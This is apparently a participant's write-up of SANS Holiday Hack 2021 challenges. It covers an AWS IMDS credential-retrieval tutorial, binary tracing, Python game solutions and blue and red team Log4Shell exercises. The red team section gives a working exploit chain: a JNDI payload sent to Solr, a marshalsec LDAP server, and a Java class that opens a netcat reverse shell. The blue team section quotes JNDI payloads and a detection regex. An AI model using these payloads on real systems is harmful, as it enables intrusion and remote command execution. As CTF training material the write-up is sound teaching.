AWS keys associated with the role. Request the endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role to get the instance AWS keys.\n$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role ; echo\n{\n\u0026ldquo;Code\u0026rdquo;: \u0026ldquo;Success\u0026rdquo;,\n\u0026ldquo;LastUpdated\u0026rdquo;: \u0026ldquo;2021-12-02T18:50:40Z\u0026rdquo;,\n\u0026ldquo;Type\u0026rdquo;: \u0026ldquo;AWS-HMAC\u0026rdquo;,\n\u0026ldquo;AccessKeyId\u0026rdquo;: \u0026ldquo;AKIA5HMBSK1SYXYTOXX6\u0026rdquo;,\n\u0026ldquo;SecretAccessKey\u0026rdquo;: \u0026ldquo;CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX\u0026rdquo;,\n\u0026ldquo;Token\u0026rdquo;: \u0026ldquo;NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==\u0026rdquo;,\n\u0026ldquo;Expiration\u0026rdquo;: \u0026ldquo;2026-12-02T18:50:40Z\u0026rdquo;\n} So far, we\u0026rsquo;ve been interacting with the IMDS server using IMDSv1, which does not require authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This is more secure, but not on by default.\nP4. For IMDSv2 access, you must request a token from the IMDS server using the X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be used for (between 1 and 21,600 secods). Examine the contents of the gettoken.sh script in the current directory using cat. $ cat gettoken.sh\nTOKEN=curl -X PUT \u0026quot;http://169.254.169.254/latest/api/token\u0026quot; -H \u0026quot;X-aws-ec2-metadata-token-ttl-seconds: 21600\u0026quot; This script will retrieve a token from the IMDS server and save it in the environment variable TOKEN. Import it into your environment by running \u0026lsquo;source gettoken.sh\u0026rsquo;.\n$ source gettoken.sh\n$ echo $TOKEN\nUv38ByGCZU8WP18PmmIdcpVmx00QA3xNe7sEB9Hixkk= With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token header to the curl request. Access the metadata region information in an IMDSv2 request: curl -H \u0026quot;X-aws-ec2-metadata-token: $TOKEN\u0026quot; http://169.254.169.254/latest/meta-data/placement/region\n$ curl -H \u0026ldquo;X-aws-ec2-metadata-token: $TOKEN\u0026rdquo; http://169.254.169.254/latest/meta-data/placement/region\nnp-north-1 And this end the tutorial in IMDS.\n9 - Strace Ltrace Retrace Elf Location Tinsel Upatree Kitchen This challengei is about using strace and ltrace command to trace a binary. The difference between the two is that strace is a system call and signal tracer and ltrace is a library call tracer.\nAs per the description of the challenge, some file has been deleted and we need to recreate it:\nTerminal 9 description The binary is found in the home folder and when we launch it, we get:\n$ ./make_the_candy\nUnable to open configuration file. If we trace the system calls with strace we see that it looks for a file called registration.json in the same directory:\nstrace Let\u0026rsquo;s create it in the home folder and relaunch the binary. This time we get a different message:\n$ touch registration.json\n$ ./make_the_candy\nUnregistered - Exiting. With ltrace now we see that it reads the first line of the file and ends there because we have an empty file. Let\u0026rsquo;s add some content and try again:\nltrace It checks that the first line contains the string Registration then reads the next line. If we add a few more lines to the file we see that it keeps looking for the same string on all the lines. Let\u0026rsquo;s add it and check again:\nltrace 2 It now checks for a : on the same line. We add it in the same way and the last word it looks for is True. The final content of the file must be Registration:True. Now when we launch the binary we get the command /bin/initialize_cotton_candy_sys executed that creates a candy in the terminal!\nAdditionally, we could have retrieved the binary file and decompile it with Ghidra for analysis. The code is straighforward, 6 strings are initially decrypted with a custom algorithm. Then the registration file is opened and the lines are read to look for what we saw above.\nGhidra - main function The decryption algorithm is a basic Caesar with a key that is different per string. If the decrypted character equals 0x7f, it is replaced by a space:\ndecrypt function So to decrypt the first string we can use the following code:\n1 2 3 4 5 ct = \u0026#34;685b5d5f696a68576a5f65642460696564\u0026#34; pt = \u0026#34;\u0026#34; for c in map(\u0026#39;\u0026#39;.join, zip(*\\[iter(ct)\\]* 2)): pt = pt + chr(int(c,16) + 0xa) # key = 0xa print(pt) The output is registration.json.\n10 - The Elf C0de - Python Edition! Elf Location Ribb Bonbowford Dining Room This challenge is similar to The Elf C0de challenge of last year that was dedicated to learning Javascript. This year will be about learning Python 3. The goal will be again to help the munchkin get all the lollipops and reach the castle entrance programmatically. Some levels can have constraints like resolving the level with limited lines of code or object calls.\nLevel 0 - Elf Code Demo\nObjective - This is a demo level with a Python solution already provided. Review the Python code below and click the Run button to watch the elf make it to the castle entrance. Level 0 map The solution is given and we just need to get familiarized with the different calls and click Run to go to the next level. The constraint it to use no more than 22 lines of code and 8 object function calls:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import elf, munchkins, levers, lollipops, yeeters, pits # Grab our lever object lever = levers.get(0) munchkin = munchkins.get(0) lollipop = lollipops.get(0) # move to lever position elf.moveTo(lever.position) # get lever int and add 2 and submit val leverData = lever.data() + 2 lever.pull(leverData) # Grab lollipop and stand next to munchkin elf.moveLeft(1) elf.moveUp(8) # Solve the munchkin\u0026#39;s challenge munchList = munchkin.ask() # e.g. [1, 3, \u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, 4] answer_list = [] for elem in munchList: if type(elem) == int: answer_list.append(elem) munchkin.answer(answer_list) elf.moveUp(2) # Move to finish Level 1 - Get Moving\nObjective - Move the elf to collect the lollipops and get to the KringleCon entrance at dict location {\u0026ldquo;x\u0026rdquo;:2,\u0026ldquo;y\u0026rdquo;:2}. Level 1 map The constraint is to use no more than 8 lines of code and 6 object function calls. One solution is:\n1 2 3 import elf, munchkins, levers, lollipops, yeeters, pits elf.moveLeft(10) elf.moveUp(10) Level 2 - Get moveTo\u0026rsquo;ing\nObjective - Move the elf to collect the lollipops and get to the KringleCon entrance. Level 2 map The constraint is to use no more than 10 lines of code and 6 object function calls. One solution is:\n1 2 3 4 5 6 7 import elf, munchkins, levers, lollipops, yeeters, pits lollipop0 = lollipops.get(0) lollipop1 = lollipops.get(1) elf.moveTo(lollipop1.position) elf.moveTo(lollipop0.position) elf.moveLeft(3) elf.moveUp(6) Level 3 - Don\u0026rsquo;t Get Yeeted!\nObjective - Move the elf to collect the lollipops and get to the KringleCon entrance. Level 3 map The constraint is to use no more than 10 lines of code and 6 object function calls. And the lever objective is to simply add 2 to the value given by the lever. One solution is:\n1 2 3 4 5 6 7 8 import elf, munchkins, levers, lollipops, yeeters, pits lever0 = levers.get(0) lollipop0 = lollipops.get(0) elf.moveTo(lever0.position) sum = lever0.data() + 2 lever0.pull(sum) elf.moveTo(lollipop0.position) elf.moveUp(10) Level 4 - Data Types\nObjective - Pull ALL of the levers by submitting the requested data for each using lever.pull(data) to disable the Yeeter trap at the KringleCon entrance. Level 4 map The constraint is to use no more than 18 lines of code and 15 object function calls. And the lever\u0026rsquo;s objective is to submit different kind of data types. One solution is:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import elf, munchkins, levers, lollipops, yeeters, pits lever0, lever1, lever2, lever3, lever4 = levers.get() elf.moveTo(lever4.position) # This lever wants a str object: lever4.pull(\u0026#34;n00b\u0026#34;) elf.moveTo(lever3.position) # This lever wants a bool object: lever3.pull(True) elf.moveTo(lever2.position) # This lever wants a int object: lever2.pull(1) elf.moveTo(lever1.position) # This lever wants a list object: lever1.pull([]) elf.moveTo(lever0.position) # This lever wants a dict object: lever0.pull({}) elf.moveUp(2) Level 5 - Conversions and Comparisons\nObjective - Pull all of the levers by submitting the requested data for each using lever.pull(data) to disable the Yeeter trap at the KringleCon entrance. Level 5 map The constraint is to use no more than 23 lines of code and 18 object function calls. And the lever\u0026rsquo;s objective are:\n lever 4 - get a string and return it concatenated with concatenate lever 3 - get a bool and return the inversed bool lever 2 - get an integer and return the value +1 lever 1 - get a list and return it appended with the integer 1 lever 0 - get a dict and return it with a new key-value \u0026quot;strkey\u0026quot;:\u0026quot;strvalue\u0026quot; One solution is, re-using the previous code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import elf, munchkins, levers, lollipops, yeeters, pits lever0, lever1, lever2, lever3, lever4 = levers.get() elf.moveTo(lever4.position) # string concatenation lever4.pull(lever4.data()+\u0026#34; concatenate\u0026#34;) elf.moveTo(lever3.position) # inversed bool lever3.pull(not(lever3.data())) elf.moveTo(lever2.position) # int addition lever2.pull(lever2.data()+1) elf.moveTo(lever1.position) # append to list l = lever1.data() l.append(1) lever1.pull(l) elf.moveTo(lever0.position) # add key-value to dict d = lever0.data() d[\u0026#34;strkey\u0026#34;]=\u0026#34;strvalue\u0026#34; lever0.pull(d) elf.moveUp(2) Level 6 - Types And Conditionals\nObjective - Move the elf to the lever. Get the lever data lever.data() and perform the appropriate action to the data. Submit the modified data using lever.pull(modified_data). Level 6 map The constraint is to use no more than 23 lines of code and 6 object function calls. And the lever objective is that if the lever returns a boolean, return the inverse. For a number, return double the number. For a list of integers, return that list with each integer incremented by 1. For a string, return the string concatenated with itself. For a dict, return the dict with a\u0026rsquo;s value + 1.\nOne solution could be:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import elf, munchkins, levers, lollipops, yeeters, pits # Fix/Complete the below code lever = levers.get(0) data = lever.data() print(\u0026#34;DATA:\u0026#34;) print(data) if type(data) == bool: data = not data elif type(data) == int: data = data * 2 elif type(data) == str: data = data+data elif type(data) == list: data = [x+1 for x in data] elif type(data) == dict: data[\u0026#34;a\u0026#34;] = data[\u0026#34;a\u0026#34;]+1 elf.moveTo(lever.position) lever.pull(data) elf.moveUp(2) Level 7 - Up Down Loopiness\nObjective - Navigate through the obstacles and collect the lollipop before arriving at the KringleCon entrance. Level 7 map The constraint is to use no more than 12 lines of code and 12 object function calls.\nOne solution could be:\n1 2 3 4 import elf, munchkins, levers, lollipops, yeeters, pits for num in range(5): elf.moveLeft(3) elf.moveUp(11) if num % 2 == 0 else elf.moveDown(11) Level 8 - Two Paths, Your Choice\nObjective - Navigate past the obstacles and avoid the munchkin watching the KringleCon entrance. Level 8 map The constraint is to use no more than 12 lines of code and 10 object function calls. The lever objective is to get an array and add the string munchkins rule as the first element. The munchkin objective is to get a dictionary object and we must return the key with a value of lollipop.\nSo we have 2 solutions, one involving the lever to make the munchkin fall and one only involving the munchkin.\nSolution 1 (with lever)\n1 2 3 4 5 6 7 8 9 10 11 12 import elf, munchkins, levers, lollipops, yeeters, pits all_lollipops = lollipops.get() lever = levers.get(0) for lollipop in all_lollipops: elf.moveTo(lollipop.position) elf.moveTo(lever.position) l = lever.data() l.insert(0, \u0026#34;munchkins rule\u0026#34;) lever.pull(l) elf.moveDown(3) elf.moveLeft(6) elf.moveUp(2) Solution 2 (with munchkin)\n1 2 3 4 5 6 7 8 9 import elf, munchkins, levers, lollipops, yeeters, pits all_lollipops = lollipops.get() munchkin = munchkins.get(0) for lollipop in all_lollipops: elf.moveTo(lollipop.position) elf.moveTo(munchkin.position) d = munchkin.ask() munchkin.answer(list(d.keys())[list(d.values()).index(\u0026#34;lollipop\u0026#34;)]) elf.moveUp(2) At this point we have validated the challenge, but there are optional levels!\nLevel 9 - Yeeter Swirl\nObjective - Follow the swirl being careful not to step on any traps (or get yeeted off the map). Note: The elf.moveTo(object) function has been disabled for this challenge. Level 9 map The constraint is to use no more than 27 lines of code and 25 object function calls. For the levers, we only need to submit the lever index each time. For the munchkin we have this objective:\nMunchkin objective 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import elf, munchkins, levers, lollipops, yeeters, pits def munchkin_func(list_of_lists): result = 0 for l in list_of_lists: result = result + sum([num for num in l if isinstance(num, int)]) print(result) return result all_levers = levers.get() munchkin = munchkins.get(0) # Create Movement pattern: moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2 # We iterate over each move in moves getting an index (i) number that increments by one each time for i, move in enumerate(moves): move(i+1) if i \u0026lt; len(all_levers): all_levers[i].pull(i) elf.moveUp(2) elf.moveLeft(4) munchkin.answer(munchkin_func) elf.moveUp(1) Level 10 - Munchkin Dodging Finale\nObjective - Dodge the munchkins to get to the KringleCon entrance. Level 10 map We get the following hint for this one:\nYou want to move once each munchkin is the furthest grid coordinates aways on the x axis (which will be 6 for each munchkin). Use while loops and implement a conditional check using the elf.position[\u0026quot;x\u0026quot;] and munchkin.position[\u0026quot;x\u0026quot;] values to check how far away the munchkin is before using moveTo to the next lollipops position. When using while loops, use a small delay of time.sleep(0.05) to ensure the browser does not lock up.\nThe constraint is to use no more than 17 lines of code and 15 object function calls. The munchkins cannot be made friendly and must be avoided.\nOne solution could be:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import elf, munchkins, levers, lollipops, yeeters, pits import time muns = munchkins.get() lols = lollipops.get()[::-1] for index, mun in enumerate(muns): # need to wait while absolute distance between # elf.position[\u0026#34;x\u0026#34;] and mun.position[\u0026#39;x\u0026#39;] is less than 6 # then we move to next lollipop # We can use time.sleep(0.05) to add a small delay in a while loop while abs(elf.position[\u0026#34;x\u0026#34;] - mun.position[\u0026#39;x\u0026#39;])\u0026lt;6: time.sleep(0.05) elf.moveTo(lols[index].position) elf.moveLeft(6) elf.moveUp(2) This time we completed the whole game:\nGame Over 11 - Frostavator Elf Location Grody Goiterson Frost Tower Lobby For this challenge, we have to repair the Frostavator to have access to all the floors of the Frost Tower:\nFrostavator When opening the Panel, we access the elevator\u0026rsquo;s main board where we see a logic circuit. The goal is to move the existing logic gates in order to illuminate the 3 outputs. From the start we have the following information (in red):\nFrostvator panel We cannot change the input values. Regarding the outputs of the different logic gates, we can refer to this diagram:\nLogic Gates - source: http://www.exclusivearchitecture.com/?page_id=2425 This is a possible solution:\nSolution 12a - Bonus! Blue Log4Jack Elf Location Bow Ninecandle The North Pole This challenge and the following one have been added after the start of Kringlecon 4 due to the Log4Shell vulnerabilities that were discovered as of December 9th 2021. You can refer the the resources created by Snyk to have more information on those vulnerabilities.\nThis challenge comes in 2 parts, one from the Blue Team perspective that is more of a tutorial, and the other one from the Red Team perspective. Let\u0026rsquo;s start by the Blue Team lesson where we\u0026rsquo;ll look at Java source code to better understand the Log4j vulnerability described in CVE-2021-44228.\nWe have a Java source code (with the .java file name extension), and a vulnerable version of the Log4j library. Display the contents of the DisplayFilev1.java source code with the cat command.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.io.*; public class DisplayFilev1 { public static void main(String[] args) throws Exception { File file = new File(args[0]); BufferedReader br = new BufferedReader(new FileReader(file)); String st; while ((st = br.readLine()) != null) { System.out.println(st); } } } This Java program has one job: it reads a file specified as a command-line argument, and displays the contents on the screen. We\u0026rsquo;ll use it as an example of error handling in Java. Let\u0026rsquo;s compile this Java source so we can run it. Run the command javac DisplayFilev1.java. Next, run the program and display the contents of the testfile.txt file. Run java DisplayFilev1 testfile.txt.\n$ javac DisplayFilev1.java\n$ java DisplayFilev1 testfile.txt\nHello from Prof. Petabyte! This program did its job: it displayed the testfile.txt contents. But it also has some problems. Re-run the last command, this time trying to read testfile2.txt:\n$ java DisplayFilev1 testfile2.txt\nException in thread \u0026ldquo;main\u0026rdquo; java.io.FileNotFoundException: testfile2.txt (No such file or directory)\nat java.io.FileInputStream.open0(Native Method)\nat java.io.FileInputStream.open(FileInputStream.java:195)\nat java.io.FileInputStream.\u0026lt;init\u0026gt;(FileInputStream.java:138)\nat java.io.FileReader.\u0026lt;init\u0026gt;(FileReader.java:72)\nat DisplayFilev1.main(DisplayFilev1.java:7) This program doesn\u0026rsquo;t gracefully handle a scenario where the file doesn\u0026rsquo;t exist. Program exceptions like this one need consistent handling and logging, which is where Log4j comes in.\nThe Apache Log4j library allows developers to handle logging consistently in code. Let\u0026rsquo;s look at an example of a modified version of this program. Run cat DisplayFilev2.java.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.io.*; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class DisplayFilev2 { static Logger logger = LogManager.getLogger(DisplayFilev2.class); public static void main(String[] args) throws Exception { String st; try { File file = new File(args[0]); BufferedReader br = new BufferedReader(new FileReader(file)); while ((st = br.readLine()) != null) System.out.println(st); } catch (Exception e) { logger.error(\u0026#34;Unable to read file \u0026#34; + args[0] + \u0026#34; (make sure you specify a valid file name).\u0026#34;); } } } This Java program has the same functionality, but the first few lines adds support for the log4j library. The 4th line from the bottom calls Log4j with the logger.error() function, followed by a logging message.\nLet\u0026rsquo;s compile this Java source with Log4j support so we can run it. Run the command javac DisplayFilev2.java. Then let\u0026rsquo;s run the program and tell it to read testfile2.txt file. Run java DisplayFilev2 testfile2.txt.\n$ javac DisplayFilev2.java\n$ java DisplayFilev2 testfile2.txt\n21:26:19.160 [main] ERROR DisplayFilev2 - Unable to read file testfile2.txt (make sure you specify a valid file name). This time, the program doesn\u0026rsquo;t crash - it exits with an error message generated by Log4j. The Log4j library is valuable to produce consistent logging messages that can be handled flexibly. Unfortunately, multiple vulnerabilities allows attackers to manipulate this functionality in many versions of Log4j 2 before version 2.17.0.\nThe CVE-2021-44228 Log4j vulnerability is from improper input validation. Log4j includes support for lookup features, where an attacker can supply input that retrieves more data than intended from the system. Re-run the prior java command, replacing testfile2.txt with the string '${java:version}' (IMPORTANT: include the quotation marks in this command)\n$ java DisplayFilev2 \u0026lsquo;${java:version}\u0026rsquo;\n21:28:56.652 [main] ERROR DisplayFilev2 - Unable to read file Java version 1.8.0_312 (make sure you specify a valid file name). Notice how the error has changed - instead of a file name, the error shows the Java version information. The Log4j lookup command java:version retrieves information from the host operating system. Let\u0026rsquo;s try another example: re-run the last command, changing the java:version string to env:APISECRET.\n$ java DisplayFilev2 \u0026lsquo;${env:APISECRET}\u0026rsquo;\n21:30:26.146 [main] ERROR DisplayFilev2 - Unable to read file pOFZFiWHjqKoQaRhNYyC (make sure you specify a valid file name). Using the Log4j env lookup, attackers can access local environment variables, possibly disclosing secrets like this one. Log4j also supports lookup requests using the Java Naming and Directory Interface (JNDI). These requests can reach out to an attacker server to request data.\nLog4j lookups can also tell the vulnerable server to contact the attacker using LDAP and DNS. Run the startserver.sh command to launch a simple server for testing purposes. The bottom window is waiting for a connection at the specified IP address and port. Re-run the DisplayFilev2 program, using the Log4j lookup to connect to the server: java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'.\n$ ./startserver.ch\n$ java DisplayFilev2 \u0026lsquo;${jndi:ldap://127.0.0.1:1389/Exploit}\u0026rsquo; Notice how the server received a connection from the vulnerable application in the server (\u0026ldquo;Connection received\u0026rdquo;)? This is a critical part of the Log4j vulnerability, where an attacker can force a server to connect to an attacking system to exploit the vulnerability.\nListening on 0.0.0.0 1389\nConnection received on 127.0.0.1 44050\n0 To address this vulnerability, applications need an updated version of Log4j. Change to the ~/patched directory by running cd ~/patched. List the contents of this directory with the ls command.\n$ cd ~/patched/\n$ ls\nDisplayFilev2.java classpath.sh log4j-api-2.17.0.jar log4j-core-2.17.0.jar This is the same DisplayFilev2.java source, but the Log4j library is updated to a patched version. To use the updated library, change the Java CLASSPATH variable by running source classpath.sh. Compile the DisplayFilev2.java source using the patched Log4j library. Run javac DisplayFilev2.java. Use the Log4j lookup string java:version by running the following command: java DisplayFilev2 '${java:version}' IMPORTANT: include the quotation marks in this command.\n$ source classpath.sh\n$ javac DisplayFilev2.java\n$ java DisplayFilev2 \u0026lsquo;${java:version}\u0026rsquo;\n21:49:34.743 [main] ERROR DisplayFilev2 - Unable to read file ${java:version} (make sure you specify a valid file name). With the fixed Log4j library, attackers can\u0026rsquo;t use the lookup feature to exploit library. The same program displays the ${java:version} lookup as a literal string, without performing the actual lookup. Next, we\u0026rsquo;ll look at a technique to scan applications for the vulnerable Log4j library.Run cd to return to the home directory. The log4j2-scan utility is a tool to scan for vulnerable Log4j application use. Run the log4j2-scan utility, specifying the vulnerable directory as the first command-line argument.\n$ ./log4j2-scan ./vulnerable/\nLogpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)\nScanning directory: ./vulnerable/ (without tmpfs, shm)\n[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /home/elfu/./vulnerable/log4j-core-2.14.1.jar, log4j 2.14.1\nScanned 1 directories and 8 files\nFound 1 vulnerable files\nFound 0 potentially vulnerable files\nFound 0 mitigated files\nCompleted in 0.00 seconds\n Log4j2-scan quickly spots the vulnerable version of Log4j. Repeat this command, changing the search directory to patched.\n$ ./log4j2-scan ./patched/\nLogpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)\nScanning directory: ./patched/ (without tmpfs, shm)\nScanned 1 directories and 5 files\nFound 0 vulnerable files\nFound 0 potentially vulnerable files\nFound 0 mitigated files\nCompleted in 0.00 seconds\n Log4j2-scan can also scan large directories of files. This server includes the Apache Solr software that uses Log4j in the /var/www/solr directory. Scan this directory with log4j2-scan to identify if the server is vulnerable.\n$ ./log4j2-scan /var/www/solr/\nLogpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)\nScanning directory: /var/www/solr/ (without tmpfs, shm)\n[] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/server/lib/ext/log4j-core-2.14.1.jar, log4j 2.14.1\n[] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/contrib/prometheus-exporter/lib/log4j-core-2.14.1.jar, log4j 2.14.1\nScanned 102 directories and 1988 files\nFound 2 vulnerable files\nFound 0 potentially vulnerable files\nFound 0 mitigated files\nCompleted in 0.39 seconds\n Log4j2-scan finds two vulnerable Log4j libraries: one for the Solr platform, and one for a third-party plugin. Both need to be patched to resolve the vulnerability. Next, we\u0026rsquo;ll look at scanning system logs for signs of Log4j attack.\nThe CVE-2021-44228 Log4j exploit using JNDI for access is known as Log4shell. It uses the JNDI lookup feature to manipulate logs, gain access to data, or run commands on the vulnerable server. Web application servers are a common target. Let\u0026rsquo;s scan the web logs on this server. Examine the files in the /var/log/www directory. We can scan web server logs to find requests that include the Log4j lookup syntax using a text pattern matching routine known as a regular expression. Examine the contents of the logshell-search.sh script using cat. This script recursively searches for Log4shell attack syntax in any files. Run the logshell-search.sh command, specifying the /var/log/www directory as the search target.\n$ ls /var/log/www/\naccess.log\n$ cat logshell-search.sh\n#!/bin/sh\ngrep -E -i -r '${jndi:(ldap[s]?|rmi|dns):/[^\\n]+' $1\n$ ./logshell-search.sh /var/log/www/\n/var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] \u0026ldquo;GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1\u0026rdquo; 200 1311 \u0026ldquo;-\u0026rdquo; \u0026ldquo;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0\u0026rdquo;\n/var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] \u0026ldquo;GET /site.webmanifest HTTP/1.1\u0026rdquo; 304 0 \u0026ldquo;-\u0026rdquo; \u0026ldquo;${jndi:dns://10.99.3.43/NothingToSeeHere}\u0026rdquo;\n/var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] \u0026ldquo;GET / HTTP/1.1\u0026rdquo; 304 0 \u0026ldquo;-\u0026rdquo; \u0026ldquo;${jndi:ldap://10.3.243.6/DefinitelyLegitimate}\u0026rdquo;\n In this output we see three examples of Log4shell attack. Let\u0026rsquo;s look at each line individually. Re-run the previous command, piping the output to | sed '1!d' to focus on the first line. In this first attack, we see the attacker is at 10.26.4.27. The Log4j lookup command is sent as a URL GET parameter, attempting to use JDNI to reach the attacker LDAP server at ldap://10.26.4.27:1389 (see in the ${jndi:ldap://10.26.4.27:1389/Evil} string). Re-run the previous command, this time looking at the 2nd line of output.\n$ ./logshell-search.sh /var/log/www | sed \u0026lsquo;1!d\u0026rsquo;\n/var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] \u0026ldquo;GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1\u0026rdquo; 200 1311 \u0026ldquo;-\u0026rdquo; \u0026ldquo;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0\u0026rdquo; In the second attack, we see the attacker is at 10.99.3.1. Instead of a URL GET parameter, this time the exploit is sent through the browser User-Agent field. The attacker attempted to use JDNI to reach the attacker DNS server at dns://10.99.3.43, using a different IP than the exploit delivery address.\n$ ./logshell-search.sh /var/log/www | sed \u0026lsquo;2!d\u0026rsquo;\n/var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] \u0026ldquo;GET /site.webmanifest HTTP/1.1\u0026rdquo; 304 0 \u0026ldquo;-\u0026rdquo; \u0026ldquo;${jndi:dns://10.99.3.43/NothingToSeeHere}\u0026rdquo; Re-run the previous command, this time looking at the 3rd line of output. Here we see the attacker is at 10.3.243.6. This attack is also sent through the browser User Agent field, but this more closely resembles the first attack using the attacker LDAP server at 10.3.243.6. The DefinitelyLegitimate string is supplied by the attacker, matching a malicious Java class on the LDAP server to exploit the victim Log4j instance.\n$ ./logshell-search.sh /var/log/www | sed \u0026lsquo;3!d\u0026rsquo;\n/var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] \u0026ldquo;GET / HTTP/1.1\u0026rdquo; 304 0 \u0026ldquo;-\u0026rdquo; \u0026ldquo;${jndi:ldap://10.3.243.6/DefinitelyLegitimate}\u0026rdquo; 12b - Bonus! Red Log4Jack Elf Location Icky McGoop The North Pole For the second part of the challenge, we access a terminal where we need to exploit a Log4Shell vulnerability. The remote host to exploit is http://solrpower.kringlecastle.com:8983 and the goal it to have a shell on that server and read the file /home/solr/kringle.txt. To help with this task, we have a web servers and a Netcat listening on respectively on ports 8080 and 4444.\nTerminal 12b description As mentioned, the vulnerable server runs a version of Apache Solr that is vulnerable to Log4Shell. The security advisory can be found here. As explained in this blogpost, the vulnerable endpoint is /solr/admin/cores where any argument we we supply will be logged using the vulnerable log4j version.\nLet\u0026rsquo;s try to call /solr/admin/cores?noob=${jndi:ldap://172.17.0.2:4444} and see if one of our listener gets a hit:\nLog4Shell POC Now that we know the system is exploitable, we can prepare the attack. We will use marshalsec which is a Java unmarshaller that we will use to get the LDAP call from the vulnerable server. This call will then be forwarded to our listening webserver that will serve the payload that will be executed by the vulnerable server.\nWe start the marshalsec service that is found in the /home/troll/mashalsec folder:\n$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \u0026ldquo;http://172.17.0.2:8080/#MyExploit\u0026rdquo; Where MyExploit will be the Java class that will contain our payload. This Java class needs to be created in the /home/troll/web folder where the webserver is launched. We create MyExploit.java that contains:\n1 2 3 4 5 6 7 8 9 public class MyExploit { static { try { java.lang.Runtime.getRuntime().exec(\u0026#34;nc 172.17.0.2 4444 -e /bin/bash\u0026#34;); } catch (Exception err) { err.printStackTrace(); } } } Then we compile it with javac MyExploit.java. Finally we deliver the exploit payload: /solr/admin/cores?noob=$\\{jndi:ldap://172.17.0.2:1389/MyExploit\\}':\nLog4Shell exploit Now we can read the needed file and complete the challenge.\n$ cat /home/solr/kringle.txt\nThe solution to Log4shell is patching.\nSincerely,\nSanta\n# in another pane\n$ runtoanswer\nWhat is Santa\u0026rsquo;s solution for Log4j?\n\u0026gt; patching\n The Narrative Jack Frost is back to get his revenge over last year failure! He has decided to gather an army of trolls and to build a majestic and big tower, the Frost Tower, next to Santa\u0026rsquo;s Castle! He planned as well to organize a bigger conference than Santa\u0026rsquo;s, called Frostfest and to sell more goodies. All this in the hope to get the elves on his side, to steal Santa\u0026rsquo;s sleigh technology, improve it, cause mayhem in the delivery of presents to kids all over the world and finally come as a savior in the eyes of everybody!\nBut this was without counting on some trolls that started to be suspicious and who started helping us defeat Jack once and for all. Once we completed all the objectives and repaired the Speak\u0026amp;Spell device, an alien spaceship landed on top of the Frost Tower:\nAlien spaceship Inside, the spaceship, some Frostians, accompanied by their princess Buttercup, came to take Jack Frost back to his planet and bring him to justice. They explain:\nWe come in peace! I am Icy Sickles from ice Planet Frost.\nMany centuries ago, we Frostian trolls sent an expedition to study your planet and peoples.\nJack Frost, scion of Planet Frost’s ruling family, captained that long-ago mission, which carried many hundreds of our people to your planet to conduct our research. I am Erin Fection, the pilot of this interstellar spaceship.\nOur first expedition established a base in the land of Oz, where our researchers became known as “Munchkins.”\nWe received a message from them long ago about a Great Schism, where the Frostian expedition split into two warring factions: Munchkins and Elves.\nThankfully, they managed to establish an uneasy peace by relocating the Elves to the North Pole.\nSince then, we have heard nothing from the expedition. They went interstellar radio silent. Until NOW. I am Buttercup, Princess of ice Planet Frost.\nThanks to your help, we received the message from the device summoning us back to Earth to address the recent unpleasantness.\nWe had no idea that Jack Frost would cause such trouble! We sincerely apologize.\nWe will take Jack back home to Planet Frost, along with all the other trolls.\nThe Elves and Munchkins, of course, can remain if they opt to do so.\nFear not, we WILL bring Jack and any guilty trolls to justice for their infractions. They will not bother your planet any longer.\nAgain, we apologize for all the troubles he has caused, and we sincerely THANK YOU for your help!\nAnd, now that you\u0026rsquo;ve helped us solve everything, feel free to show off your skills with some swag - only for our victors! And Santa to add:\nThe Frostians have reached out to me via video link. They’ve explained to me all that has happened.\nI’d like to thank you for your truly excellent work in foiling Jack’s plans and ensuring that he is finally brought to justice.\nOn behalf of all of us here at the North Pole, we wish you and yours a happy and healthy Holiday Season.\nThank you and HAPPY HOLIDAYS from me and all of the elves.\nHo Ho Ho! Christmas Eggs One of the quests I enjoy the most in the Holiday Hack challenges is to find as many hidden Eggs as possible! Here are the ones I spotted this year:\n Location Egg Kringlecon Title Calling Birds comes from The Twelve Days of 